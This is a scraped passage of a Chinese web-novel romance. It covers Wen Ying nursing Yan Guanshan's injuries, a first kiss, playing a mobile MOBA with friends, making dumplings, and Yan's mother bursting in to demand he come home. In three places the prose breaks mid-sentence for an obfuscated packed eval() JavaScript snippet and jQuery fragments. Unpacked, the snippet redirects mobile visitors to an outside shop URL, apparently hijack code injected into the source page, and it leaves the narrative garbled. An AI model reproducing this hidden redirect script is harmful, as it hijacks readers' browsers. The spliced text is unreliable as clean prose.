回屋洗了澡出来,楼下还亮着灯,闻影下楼,见晏关山掀起一半T恤在擦药,方才只看得见脸上的伤,这会儿对方穿着短袖,胳膊上也是青紫的,露出的一半腹肌有擦伤。
闻影在他身边坐下,抱走药箱,命令道:“把上衣脱了。”
晏关山没动。
闻影红着脸呛他:“大男人有什么不好意思的,动作快点。”
晏关山听话脱衣服,看着对方从耳朵红到脖子,差点没忍住笑出声。
闻影一直强迫自己不要瞎看,但没办法忍住不看,晏关山属于穿衣显瘦脱衣有肉的身材,该有的都有,不厚不突的肌肉恰到好处,不该看的闻影也看到了,人鱼线丝滑地延伸进裤腰,再往后……
闻影咽了咽口水,手上没注意用了些力,疼得晏关山倒吸一口凉气:“我学医的,清创处理可以自己来……嘶。”
“你来个锤子来,后背上的你怎么擦?”闻影动作放轻,知道下手没轻重弄疼了,还给他吹吹。
看着白皙肌肤上深深切切的伤口,闻影很不是滋味。擦完药让晏关山穿好T恤,袖子撸起来,习惯受伤的闻影手法娴熟,沾了红花油搓热,给晏关山红肿的关节揉了半天。
闻影嘴里碎碎叨叨的:“不会打就别打,再被打成猪头可别来见我了。”
晏关山侧过脸说:“你教我打架。”
“想屁吃。”闻影嗤笑,“你爸妈是不是因为你鼻青脸肿的晦气样,才把你赶出来的?”
晏关山定定看他一眼:“又好奇了?”
“爱说不说!”闻影翻白眼。
“我离家出走很多年了。”晏关山突然说,“今年第一次答应他们回去过年,话不投机,我没吃饭就走了。”
就晏父晏母说话那味儿,是个人都不会投机吧。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465667|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
闻影腹诽完试着问:“就因为你学了兽医?”
晏父晏母那话语间对兽医行业的鄙视简直不要呼之欲出,加上许寰透露了一些,闻影能想象到家大业大的晏父晏母,望子成龙心切,指望儿子在顶尖高校读个牛逼专业,里子面子都满足了,然而晏关山没让他们如愿。
“不全是,有一部分原因,但矛盾都是从前积累的,我报了自己喜欢的专业只是把矛盾激化了。”晏关山平静地讲述,“他们需要的是一个听指令执行任务的机器,可我是人,做不到,只好走了。”
“什么时候的事?”闻影问。
晏关山看他一眼:“大一。”
闻影故作轻松地道:“怪不得,那会儿饭不会做,被套不会套,连大葱和蒜苗都分不清。”
晏关山轻声说:“你跑了我就都学会了,再不学,没人愿意教我。”
闻影没接这话头,再磨蹭天要亮了,两个人回二楼睡觉,互道了晚安,闻影先一步把门关上。
一头栽到床上,这一天的疲惫席卷而来,脑子却控制不住想了很多事,想起那个五谷不分的生活白痴晏关山,也想起今天这个鼻青脸肿有点委屈的晏关山,画面一副接一副从眼前略过,他的身体,他的气息,他垂眸流露的温柔和偶尔的示弱,被自己拒绝辱骂却总强撑着笑意的隐忍。
闻影扪心自问,是不是还喜欢他?
他想不出头绪,翻了个身,把自己蜷成弯虾,正准备酝酿睡意时,在整头下面摸到了一沓东西。
抽出来看,居然是六个红包。
红包上写着字,闻影打开台灯,一个个看过去。
闻影跑掉的那年,写的心想事成,平安顺遂。里头封了一百块。
第二年,心想事成,早日归家。
第三年,心想事成,我很想你。
第四年,心想事成,你在哪里。
一直到第六年,这句话也没改,只是每一年红包的厚度都在增加,想来晏关山攒到钱了,给的压岁包就越来越多。
黑色碳素笔都有些掉色了,闻影看完心口发烫,抓着红包就出了房间,他敲响了晏关山的房门,敲得很急切,对方没睡,打开时还愣了一下。
“怎么了?”晏关山问。
闻影抬起手把一沓红包在他眼前晃了晃。
晏关山以为他要退回来,赶紧说:“压岁包不兴退,这些都是往年的,没多少钱,就图个——”
闻影的脸以很快的速度靠近,擦过侧脸,留下了一个清浅到不可查的亲吻,触感倏然就消散了,还闻得见牙膏的薄荷味,晏关山被亲得愣在原地。
“敏感测试!”闻影胸膛起伏,看着气势汹汹,没头没尾地说。
说完掉头就跑,被晏关山眼疾手快地扯回来,他失笑道:“别跑。”
晏关山把人拉回来轻轻地抱了下,都穿着短袖T恤,肌肤挨着肌肤,闻影的体温明显烫得多,他像个竹竿一样僵硬成条,被晏关山环在怀里,不过可喜的是这次没有挣脱的动作。
闻影能明显感觉到面前的人不再是个青葱大学生了,身上肌肉结实,不像以前单薄,被他抱着甚至有点硌,两个人用的同一个沐浴露,被体温一蒸,淡淡的海洋香环绕着,莫名让人很踏实。
闻影没跟谁这么亲密地拥抱过,所以难以想象被人抱着是这种感觉,晏关山是个让人安心的人,他的情绪都在行为上,他喜欢你,就会真真切切对你好,闻影不是感觉不到。这个拥抱没掺杂情欲,也没有歉疚,是晏关山从过去到现在对闻影最单纯的喜欢,喜欢他这个人,就想抱抱他。
单纯的喜欢也可以是想见到他,嘴上狠话再多,两只脚也还是会不受控地走向他所在的方向。
所以还喜不喜欢这个问题,像是一句多余的废话。
闻影微低下头,用脑门顶着对方肩膀,说:“以前没做完的事儿做了,遗憾不带到明年。”
晏关山心跳的节奏用脑门能感受到,他没说话,闻影听着,自己心跳也那么吵闹。
闻影舔舔嘴唇自嘲道:“我找借口呢,有点尴尬,那什么……”
“闻影。”晏关山轻轻拍下他的背,“抬起头来。”
“啊。”闻影这会儿浑身的尖刺都麻软了,听话得很,抬起头来眼神也不闪躲,他坦荡地给晏关山看见自己,他心里想什么那对亮晶晶的眼睛不会说谎。
此时此刻,说什么话都显多余,晏关山笑了下,只轻轻在闻影的脑门上,落下了一个晚安吻。
32.第 32 章
睡到日上三竿闻影才醒,睁眼一瞬间都是陌生的装修和布置,他还愣了半天,回味昨晚那两个蜻蜓点水的吻,还有点心跳加速,他赶紧起来冲了个澡。
晏关山已经在弄中午饭了,见他下楼,转过身笑着道:“早安。”
闻影一声不吭钻进厨房,蹲下就撸皮皮:“起那么早干嘛?身上难受吗?”
“还好,闻大夫手法娴熟。”晏关山很自然的语气问他,“中午吃简单一点,晚上咱们包饺子吧?”
这还真过上日子了?!
闻影捏着皮皮一双尖耳朵道:“吃完午饭我就回家了。”
牛奶煎鸡蛋和自制三明治,晏关山又添了许多培根,虽然简单清淡,但闻影吃得很舒坦,吃完晏关山主动洗碗,闻影站起来要上楼:“我去收东西。”
晏关山扭过头想挽留又实在找不到站得住的借口:“等会儿,你真要回家?”
闻影痞痞地回头说:“不回家我去哪儿?”
晏关山看着他:“是床不好睡,还是饭不好吃?”
“我没在别人家赖着的习惯。”闻影自己都说得有点嘴软,平心而论他这辈子最赖的就是晏关山那老破小。
晏关山:“你回去也是一个人,吃饭不方便。”
闻影:“点外卖。”
“外卖不送。”晏关山马上说。
“我去街上吃。”闻影立刻答。
“不开门。”晏关山平静道。
“……”闻影“啧”了声,“反正我要回家!”
电话这时候响,闻影接起来:“干嘛?”
另一头传来苏淳温温柔柔的声音:“事情处理完了吗?昨天你走那么急,晚上几点到的,我发微信你没回我。”
闻影:“处理完了,到得晚就没跟你说。”
晏关山细不可查地挑了挑眉,站那么近,电话里声音他听得清,他转回去默默低着头洗碗,随着他动作垂下的几缕留海都像在生闷气。闻影看在眼里,没来由的心里一乐。
苏淳:“你现在在家吗?”
“没。”闻影靠着料理台站没站相,“在朋友家。”
苏淳:“哪个朋友?”
闻影瞟了一眼辛勤的洗碗工说:“晏关山。”
对面静了静,后又问:“你昨晚没回家?”
闻影不耐烦道:“你打来就是查岗啊?”
苏淳:“我大后天回来,东西给你收好了,到时候送来给你。”
闻影:“哦,谢了。”
挂了电话,晏关山碗也洗完了,他按着有些疼的肩膀问:“你原本和苏淳去写生,是打算在外面住几天?”
闻影随口答:“三天。”
“三天。”晏关山嘴往下一瞥,不装了,要气就明着气,他道,“荒郊野外,缺东少西,你都愿意和他待三天。我家有吃有喝,有猫有狗,你待一天就急着走。”
他叹了口气,表情可怜得就像被小橘揍了一顿的皮皮:“说白了还是我技不如人,比不上他。”
闻影看得一愣一愣的,气笑了:“你戏瘾这么大当初怎么不去考中戏啊?”
晏关山在他面前蹲下,一手摸着皮皮,一手揉着小橘:“我没有演,确实这么想的。我留不住你,那看在它们的份上,你也别回去了吧。是吧皮皮,你想他走吗?小橘,你也说句话。”
闻影:“……”
皮皮灵性,扭过头就咬住闻影的裤腿,哼哼唧唧地一顿拽,小橘不理解大人言语里的暗示,但看家里老大哥留人,它也乖巧地冲闻影“喵”了一声。
“皮皮,听话!嘴松开……靠!小橘别挠我,草,你挠你爹?!”闻影被这群幼稚鬼闹麻了。
晏关山忍笑:“我才是爹。”
闻影瞪过来一眼。
晏关山马上改口:“留下陪陪孩子吧。”
“晏关山。”闻影无语地说,“以前你天天板个脸是板给我看的吗?我怎么没发现你那么能说。”
一家子演员,闻影服了,只好留下,再住几天又不会掉块肉,回家冰锅冷灶还没个响动,确实不如这里热闹。
闻影说服自己,他是舍不得孩子。
晏关山给李姐放假,这几天猫猫狗狗都得他全天伺候,事情不复杂但繁琐,很耗费时间,闻影来了兴趣,要晏关山教他。
难得有机会跟小动物窝在一起,从驱虫到做辅食,铲屎梳毛按摩喂药,一样没拉下,弄完一圈闻影累得瘫在沙发上,晏关山刚把洗好的衣服晾起,拿给他饮料。
闻影感慨:“当爹不容易。”
晏关山拿个裹毛器裹沙发,说:“更复杂的活比如复健和仪器辅助,以后再教你。”
闻影仰着脑袋倒着看他:“你把我衣服洗了?”
“嗯,身上的脏了就穿洗好的,我衣服多也够你换。”晏关山低头裹毛,笑得很明显,道,“省得你说没衣服穿,要回家去。”
闻影:“……”
闻影有点犯困,可不想睡,无所事事地呆在家,电视上放了不知道第几遍春晚,茶几上都是李姐买好的水果和零食,晏关山进进出出地打扫卫生,猫猫狗狗跟在他脚后面,噔噔蹬蹬像一串儿小尾巴。
谁也没把谁当客人,好像家里就该有这么两个人存在,这样自然又寻常的气氛实在太舒服了。
“你能消停下过会儿再弄么。”闻影拍拍身边的沙发,“洁癖复发啊?”
晏关山放下东西过来坐下,陪他看电视。
闻影转了五分钟台随口问道:“别人家过年,都干些什么啊?”
晏关山想了想说:“吃隔夜的剩菜,陪老人打麻将,听亲戚攀比自家小孩,可能还有小辈的才艺展示环节。”
闻影想象了一下,真是无聊中不失尴尬,但即便如此,他也想尝尝这别样的过年氛围,哪怕一次也好。
晏关山掏出手机,捣鼓了一阵问:“是不是觉得有点无聊?”
“也还好。”闻影坐没坐相地歪在一侧,这要是自己家他得盘腿蜷着,小橘和阿炳窝在他肚子上呼呼大睡,脚边还有皮皮在守着。
他道:“往年我要么出远门,要么连着睡几天。”
“醒着你做什么?”晏关山好奇道。
闻影:“打游戏。”
“那你教我打游戏吧。”晏关山晃晃电话,满眼期待。
闻影奇怪:“打什么游戏?”
“你总玩的那个,五个小人打五个小人。”晏关山说。
闻影想起以前要他陪着打篮球也这表情,好笑道:“你不会从来没玩过手机游戏吧?”
“没玩过。”晏关山老实巴交的,“就跟你去ps体验店玩过那几次。”
以前闻影嫌他除了读书工作什么都不做在家会闷出病,带晏关山去过PS体验店玩主机游戏,当时买主机不现实,太贵,去体验店按小时收费还能承受,闻影觉得男孩儿没有不喜欢打游戏的,偶尔打打放松下没毛病。
谁料到晏关山是一点没接触过,捧着手柄连操控视角都费劲,一问才知,他长那么大家里别说打游戏不允许,连看电视都是禁止的。
闻影没多问,掏出手机,报了App名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479983|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字:“下载注册,微信登上去告诉我,手机太旧了可能有点卡。”
晏关山听话地操作起来:“可以和你在一个队吗?”
闻影嫌弃道:“可以,不过你要敢坑我,我是会骂人的。”
游戏下好,晏关山正在注册,突然问:“你游戏里的名字叫什么?”
闻影又报id:“把你头打掉。”
晏关山:“……哦。”
微信登录,注册昵称,一上线,晏关山就被闻影拉进了房间。
闻影盯着对方 id 愣了下:“我再捡起来……什么玩意儿?”
晏关山解释:“和你名字凑个对联。”
闻影有点无语,这家伙有时候,嗯,智力不超过三岁。
对方完全没接触过这游戏,闻影不可能一来就上强度带他排位,大过年的,就别给人添堵了,于是他建了人机房,叫晏关山挑个顺眼的英雄。
晏关山只看了一眼就锁定了,闻影还好心跟他解释:“这英雄打上单位的,最好出肉,要是去中路你就出ap,主2技能就行。”
晏关山连怎么操控人物都不会,哪听得懂什么肉了ap的,他道:“我看他像你才选的。”
晏关山锁掉的英雄是沙漠死神内瑟斯,俗称狗头,一锤一个小朋友。
闻影第一次认真看狗头原画,没明白哪里像了。
晏关山:“和你一样凶巴巴。”
但其实本质是个毛茸茸。
闻影:“……”
很快开了一局,打人机没什么竞技压力,为了尽快教晏关山上手,闻影忍辱负重地选了个星妈跟在他身后。
星妈这英雄打不出伤害,胜在保护能力很强,一般都是和AD走下路,没血了给队友奶一口。打了三把人机,晏关山把把挑的都是上单位,而且玩来玩去,全是动物。
这把人机打完刚退出来,闻影就被人拉进了房间,他开着语音,一进去就听见费彦那比平时聒噪的夸张语气:“妹子别慌,我哥们儿是野王,这把不可能再跪。”
只见一个粉色猫咪头像的语音亮了亮:“我太菜了,我辅助你吧,AD我不行,把你俩分都坑没了。”
边屹主动背锅:“怪我怪我,我不会打野,一来下就给对面送头,不是你俩的问题。”
费彦温柔道:“没事儿,妹子你继续AD,我和我哥们儿拿命保你。”
边屹:“闻影,我开了哦?”
“等会儿。”本来听见带妹闻影想立刻退出房间,但四缺一,带妹可以,带萌新也可以,他立刻把晏关山也拉进来,选好位置,闻影道,“开吧。”
游戏加载中,费彦开麦介绍妹子叫球球,是玉大学生,比边屹他们小一届,正要介绍闻影时,球球开麦了:“我听过闻影的名字,我们年级好多人喜欢他呢。”
晏关山往旁边看了一眼,闻影和他肩抵着肩,翘着一只腿横在沙发上,散漫得没边。
边屹道:“我再捡起来,这是谁啊,闻影你不介绍一下?”
闻影懒懒道:“晏关山。”
静了一秒,语音里瞬间洋溢起热烈的欢迎,边屹一口一个晏哥,费彦也激动,没一会就变成拜年现场了。
没学会开麦的晏关山笨拙打字:新年好,[微笑]
只有球球盯着两个人的ID来回看了看,甜美一笑:“把你头打掉,我再捡起来,好可爱的名字,像情侣ID哦。”
闻影一顿,这分明是对联!
旁边一直沉默的晏关山突然凑到闻影屏幕前,语带笑意地说:“谢谢夸奖。”
33.第 33 章
进入游戏,各自上线发育,费彦带妹去了下路,边屹扛起中单位,闻影选了一手蔚打野,好抓又肉。
费彦看他选完就觉得妥了,这种千里锁头的英雄,来就有,费彦自信开麦:“球球,我去做眼,回来咱们抢二打一波。”
“好的!你别走,我绑你。”球球甜甜道。
球球用的卡莉斯塔,俗称网恋之矛,闻影移动视角OB队友,她正在慢腾腾地和费彦的锤石签订契约,绑定成灵魂伴侣,绑完锤石晃着手里的镰刀一扭一扭去插眼了,整条下路连河道里都弥漫着他的得意和得瑟,闻影暗暗“啧”了声。
OB到晏关山这边,闻影一愣:“你傻站在路中间干嘛?”
晏关山这才动了动:“读技能说明,我这个英雄是不是很厉害?”
晏关山选的腕豪,肌肉健硕原画痞帅痞帅的,闻影嗤笑:“是厉害,和你挺符合,这英雄俗称家暴男。”
晏关山:“……”
一直在偷听的边屹突然说话:“谁家暴?”
闻影凶他:“闭嘴补你的兵。”
边屹叹气:“对面好怂呀,缩在塔下也不出来,我蓝都快没了,你什么时候来帮我抓一波?”
闻影:“再压线我不来了!”
中下都捏着技能坐等野爹抓人,却听游戏语音响起女声“发起进攻”,蔚锁头的警报拉响,从岔路一拳挥出死死把对面上单按在他家塔下,腕豪 32 技能控住对方,配合 1 技能马上打至残血。
蔚被塔打到丝血,闻影赶紧道:“帮我顶一下塔,然后开大打他把人砸出来。”
晏关山默默听着指挥,操作着手里的英雄,顶着塔大到对面狗熊摔出防御塔攻击范围的一瞬间,闻影一个 1 技能收下人头。
“first blood!”
手游节奏很快,闻影拿到人头很快扩大优势,帮中下抓了两波转头就住进了对方野区。
球球这局打得无比舒服,见闻影去对面了,便跟费彦道:“费费哥,我想要个红,陪我打一下?”
费彦:“来,这边野区看上什么都给你打了。”
野王闻影:“?”
边屹立马夹着嗓子学:“闻影哥哥,我也想要个蓝爸爸,帮人家打打嘛。”
闻影:“来。”
钻进对方野区,闻影顺利帮炸弹人收下蓝 buff,转头要走的时候发现腕豪姗姗来迟,跟在他后面,宛若跟屁虫。
闻影:“你跟着我干什么?”
晏关山:“一塔拆了,我来看看还有什么能帮你扛的。”
闻影好心提醒:“……再不回线你一塔要没。”
晏关山学费彦的语气:“区区一塔,让了。”
闻影:“……你少跟费彦不学好。”
晏关山一笑:“我保护你,说吧,要打谁。”
局面大优势,上单要跟着自己溜达也没什么所谓,闻影就当带萌新看风景。
腕豪跟着蔚,两坨大肉在野区逛街,对面头都不敢露。
边屹看看下路,腻腻歪歪的二人组一会儿“费费哥我要红”一会儿“走吧一起回家补装备”,再看看野区,打个破□□腕豪都要在旁边给蔚站岗护卫,野怪经验和钱都被分走一半闻影居然一个脏字没骂。
以至于猥琐补兵的对方上单和默默清兵线的边屹都显得那么格格不入。
偌大召唤师峡谷,竟容不下任何一只单身狗。
河道爆发完一波团战,打了个 0 换 5,边屹抱弹四顾心茫然:“接下来干嘛去呢。”
只见卡莉斯塔点住锤石的灯笼双宿双飞去拿红蓝 buff 了,闻影问身边的猛男:“不补兵没人头你发育慢,给你打几个野?”
晏关山期待地问:“我也可以点菜吗?”
闻影问:“想要什么?”
腕豪默默移动到大龙坑面前站定:“这个。”
闻影:“……”
你是真敢要。
腕豪原地俯卧撑,跃跃欲试:“能给我吗?”
蔚一拳冲进龙坑:“给!”
边屹简直看不下去,在蔚溜溜达达过去陪着腕豪双人殴打大龙的时候,边屹手里的大招已经饥渴难耐,在砸狗男女还是狗男男中犹豫了一秒,最后他还是恶狠狠地把大招砸到了闻影的头上。
打游戏时间过得很快,一下午就这么混过去了,晚饭前边屹和费彦都得去帮家里做事,晏关山手机一放:“我去和面,晚上包饺子。”
闻影震惊:“你还会和面?!”
晏关山道:“李姐教的,做来做去就饺子最省事,馅儿都是她做好的。你接着玩儿吧,或者去睡一会儿,煮好了我叫你。”
“我打游戏又没瘾。”闻影把手机揣兜里,“走,一起包。”
包饺子省事儿,闻影在家的时候也做,但他直接买现成的饺子皮和馅儿,在家里只有“包”这个唯一的过程,很好打发。但从和面开始就有点考验人了,看晏关山两只手白乎乎地在大盆里抓揉,闻影玩心大起:“给我试试?”
“洗手去。”晏关山微低着头,“再拿个盆来。”
洗了手,闻影听话地在面前放好盆,晏关山擦干净手,往里倒面粉倒水,闻影立刻就上手抓,加得差不多了,晏关山看他完全是想玩面坨坨,宠溺一笑,将他把两只手的袖子往上别了别,继续揉自己那盆。
闻影哐哧哐哧一顿乱揉:“和那么多面咱吃得完?”
晏关山无所谓道:“那盆给你玩的。”
不知怎么的心跳落了一拍,闻影用力抓了抓面坨,把十根指头都伸进温热柔软的面里。他从小跟着外婆长大,外婆捡菜做饭就搬个小板凳让闻影坐在一边玩儿,小男孩都闹腾,菜叶子揪下来揉碎,面坨当橡皮泥捏得黢黑,外婆从来不骂他,就给他玩。
这种来自家里人的宽容闻影得到的机会不多。在家人面前,小孩儿偶尔也拥有放肆胡闹的资格,不会受到指责和教训,还会因为调皮淘气被夸一句可爱,夸他健康开朗。
总有那么几个人,不论你胡闹成什么样都温和地注视你,给与你这世界上无限的忍让和包容,闻影看别人,都是爸爸妈妈家中老人,再看自己,他只有外婆。
也许,还能有别人呢?
闻影突然问:“欸,你去逛超市不?”
晏关山:“偶尔,怎么了?”
闻影揪起一坨面搓成球:“路过卖米面油的地方,你会不会把手插去米缸里玩啊?”
晏关山一言难尽地看过来:“你会?”
“下回你试试,但要趁没人的时候。”闻影表情特别偷鸡摸狗,“两只手往下插深点儿,一抓,凉凉的颗粒感很重,爽!”
晏关山觉得他太好玩儿了,笑起来说:“是不是还捏泡面了?”
“捏!那个捏起来也爽,但是我捏哪袋就买哪袋啊。”闻影噘着嘴说,“有一次被店员逮着了,说我没教养,非要叫家长来,不然扣着不让走。”
晏关山一顿:“什么时候的事儿?”
闻影低着头说:“初一。”
“被家长知道,挨骂没?”晏关山故意这么问。
闻影嬉笑一声:“我哪来的家长,趁他们不注意,我溜了。”
晏关山静了会,假装不经意提起:“家里的事,我可以问吗?”
闻影漫不经心地玩着面坨:“也没什么,我没见过我爹,我妈早就再婚了,人在国外,从小父母就不要我,他们只给钱,不露面。”
晏关山停下手上动作,扭头看着对方。他有过很多猜测,是不是父母生病不在了,或者有难
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493443|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言之隐,无法陪在儿子身边,才会让他从小到大的师长说没爹没妈很可怜。
“不想要我”四个字闻影说得轻巧,神色散漫,不是装的,被父母抛弃这个事实长久到已经在闻影心里掀不起波澜,所以才让晏关山更心疼。
闻影撇他一眼道:“你那什么丧偶表情?收一收,犯不上。没爹没妈我早都习惯了,小时候有外婆管我,后来她去世了,我就一个人过。”
原来照片墙上慈祥的老奶奶是外婆,难怪闻影一直留着那些照片。
晏关山关切道:“他们给的钱够用吗?”
“钱倒是没亏过我。”闻影讥笑道,“不给够钱,万一哪天我找上门,不是让他们不安生么。”
不负责任的爹,在闻影还在他妈肚子里就跑了,不负责任的妈生下他,立马丢给了老人,离婚移民再婚生子一气呵成,就像从来没有过这么一个儿子。
每季度入账两笔可观的生活费,只有这时候闻影能真切地感受到自己不是石头缝里蹦出来的。
外婆怕闻影生活在记恨里,倒跟他说起过父母分开的原因,两个一心拼事业又都有所建树的年轻人,性格里的强势互不相让,相爱结婚怀孕又闹翻,前后都没一年时间,他们倒是很快从失败的婚姻里翻了篇,各自有了成就和新的家庭,只有闻影这颗昙花一现的爱情结晶沦落成了累赘,唯有老人还要他。
外婆要闻影明白,父母也是人,是人就有好有坏,他们没有尽到一丝养育的责任,将来闻影也不必负担起孝顺的义务。
“就当他俩死了,一个人活得自在些,没人敢怪你,这是外婆说的。”
“外婆只希望我的乖外孙,平安长大。”
晏关山听完心情有些沉重,但他不想闻影看出来,于是用沾满面粉的手指刮了下闻影的侧脸道:“外婆说得真好,我也记住了。”
“靠,手真欠!你完了晏关山,老子把盆扣你头上!”闻影一脸震惊,抓盆就打。
两个人打闹了一阵,搞得浑身上下桌面地板全是面粉才消停,不过打个岔,那点狗屁倒灶往事勾起的不爽彻底烟消云散了。
晏关山拿湿巾给他擦脸,问道:“闻影,为什么愿意告诉我这些?”
“不知道。”
闻影头发白了一片,干脆把扎着的狼尾松开,头发有点长了,散下来遮了半张脸,只露出长睫和有颗小痣的鼻尖,他眼睫微微抖动,淡声道:“可能因为这盆面粉,你专门弄给我玩的吧。”
晏关山极力忍着再抱抱他的冲动,用膝盖碰着柜门说:“米桶在这,泡面在客厅零食柜,你想怎么玩都可以。家里没有的我去买,改天我去弄个ps5,你喜欢玩什么游戏,给我列个清单,我——”
“咣”一下爆栗弹在脑门上,打断了晏关山的话,闻影嗤笑道:“老子又不是小学生,用不着这么哄。”
晏关山用手背擦了下脑门:“你知道我在哄啊,那你知道我为什么哄吗?”
“后面的可以不用说了!”闻影白他一眼,企图逃避,一回神,才惊觉手里的面坨被他捏成了家里毛孩子的模样。
他选修课学过雕塑,也认识些雕塑系的同学,学过点技巧,捏面坨一样可以把猫猫狗狗捏得惟妙惟肖,除了猫狗,还有一个盘腿坐着梳毛的晏关山。
嘴很硬,手指倒是很诚实。
“送我吧。”
晏关山伸手去拿,被闻影一巴掌拍开,都这样了,晏关山脸皮一天比一天厚,反手就把人牵住,在眼皮子底下偷走了全部小面坨。
就在这时响起一道突兀的门铃,两人同时一愣,看向紧闭的大门。
“晏关山,开门,妈妈有急事找你。”
“我和姑妈都来了,今天你必须跟我回去!”
“你爸被你气得发病了!快开门!”
34.第 34 章
院子里晏关山的车在,所以晏母才不管不顾一直叫喊,不论在人前她维持得如何优雅得体,一面对儿子,她又变回一个歇斯底里的女人。
只要一想到晏关山忤逆了自己的意愿,那种怨恨和戾气就会从身体里往外冒,变成恶毒的语言持续攻击。家里两个人同时陷入沉默,晏关山无语地听着她叫骂,没什么情绪,像是因为习惯形成了结界将污言秽语挡在了外面。
闻影却越听越是心惊。
母子俩见不到面不相处还好,晏母偶尔还会反思自己身为母亲,记恨儿子将人赶出家门六年不闻不问,也算是惩罚得差不多了。可现实总是迎头痛击,晏关山回敬的是一次又一次紧闭的家门,晏母被拦在门外,心里翻涌的只有一个疑问,他凭什么这样对我?
晏母愤怒地拍着铁门,不住地喊着晏关山的名字,终于家门打开,晏关山冷脸走出来,他没什么情绪地道:“妈,小姑。”
晏母住了嘴,直勾勾瞪着对方,眼底只有阴冷和怨恨。
一边的姑妈难为情地道:“关山,有事咱们进去说,别在这和你妈妈吵,行吗?”
“没人想吵。”晏关山打开铁门侧身让道,晏母提着小皮包怒气冲冲地进了门。
一进去,晏母就和坐在厨房高脚凳上的闻影看了个对眼,她诧异地愣了下,没想到这种时候晏关山家里会有人。闻影只是掀起眼皮看人,并没搭理,互相都当对方是不速之客。
在客厅坐下,晏关山和晏母都不说话,姑妈只好打破僵局:“关山,家里有客人那就长话短说吧,你爸爸大年夜那晚上回家就病了,血压一直降不下来,心脏也不好,你回去看看他?”
晏关山抽了张湿巾擦手,问:“住院了?”
“没有,在家。”姑妈道,“死犟着不愿意去医院,吃药控制着,非要等你回去。”
晏关山擦完手把东西一扔,无语道:“有病不去医院治,等我干什么?我是兽医,治不了人的病。”
闻影挑眉,以前怎么没发现晏关山这么能嘴人。
姑妈面露难色,柔声劝道:“关山,好歹是自己的爸爸,过年就想一家人团聚,你回去吃个饭,他心情好了病自然就好了。”
晏关山拍掉身上的白面粉:“我们刚包了饺子,不想出去吃了。”
“饺子放冰箱,改天再吃嘛。”姑妈耐心地劝。
“家里有人。”晏关山说,“不方便出门。”
晏母忍无可忍地拍沙发:“你爸就是被你这种态度气病的,二十好几的人了一句人话听不进去,现在还学会打架了!大过年的你鼻青脸肿地回家没个好脸色也不给个解释,一大家子人看着,你让我们的脸往哪儿搁?”
姑妈拉住晏母衣袖,本意是想让她少说几句,但对方情绪上来只会变本加厉,根本拦不住,晏关山对上姑妈无措的眼神,只是淡淡笑了下。
晏母指着晏关山的脸说:“这就是你说的正经事业?做什么兽医能跟地痞流氓打架打成这样?放任你在外鬼混几年,你就把自己搞成这副样子?!”
“父母管你,是防微杜渐,防的就是你跟个野孩子一样只知道惹是生非,别人爹妈没本事落得孩子一事无成那是命,你呢,最好的东西都给你了,明明也是个听话优秀的好孩子,怎么一点都不知道知恩图报啊!”
姑妈皱着脸:“小梅,别说了。关山的朋友在呢,给孩子留点余地。”
“给他留余地,他给我留余地了吗?”晏母气冲冲地吼,“这个家里不要脸的又不是我!”
晏母气得胸膛起伏,口干舌燥,很想喝水,但这个家里没人欢迎他,连杯水都没人倒。
想到还有外人,晏母审视着晏关山和闻影两个人身上的白色面粉,又看闻影大喇喇地坐在厨房里,料理台一片狼藉,闻影悠悠闲闲在摆弄面坨,完全对客厅发生的一切漠不关心。
什么素质!
晏母冷着脸吩咐:“让你朋友回家去,我让司机送他走,你跟我回家看一眼你爸,陪他吃个饭就当道歉,多的我也不要求你了。”
晏关山失笑:“我为什么要道歉?那个家是你的,谁爱回谁回,我不回。”
晏母刚压下去的火气腾地窜上来:“偏要跟狐朋狗友去打架惹事,你爸的死活都不管了是吗?”
“小梅,慢慢问,关山受伤肯定是有原因的。”姑妈说。
晏母咄咄逼人:“什么原因?怪他自己接触的人有问题,交了什么社会上的渣滓把人往坑里带,大过年还在打架的能有好人?”
“阿姨,差不多得了。”闻影实在听不下去了,他从厨房吊儿郎当走出来,单手捋了把狼尾道,“他打架是因为我,要骂冲我来。”
晏母眼睛一眯:“闻影,你——”
后面的话戛然而止,因为晏关山站起来伸手扶着闻影的一只胳膊,像是要把人带回厨房。
闻影不乐意走,抓着晏关山的手腕一动不动,眼神很不友好的盯着晏母道:“我懒得打听你们家事,但他好歹是你亲生儿子吧,不问清楚事情起因就劈头盖脸骂他,有你这么当妈的?”
晏母站起来指着闻影的脑门:“你一个外人插什么嘴!”
闻影翻了个白眼:“听你一句人话不说,实在憋不住。”
晏母还没被谁这么呛过,何况是小辈,她震惊得眼睛都瞪圆:“对着长辈说话,一点礼貌都没有!父母怎么教的你这么没教养!”
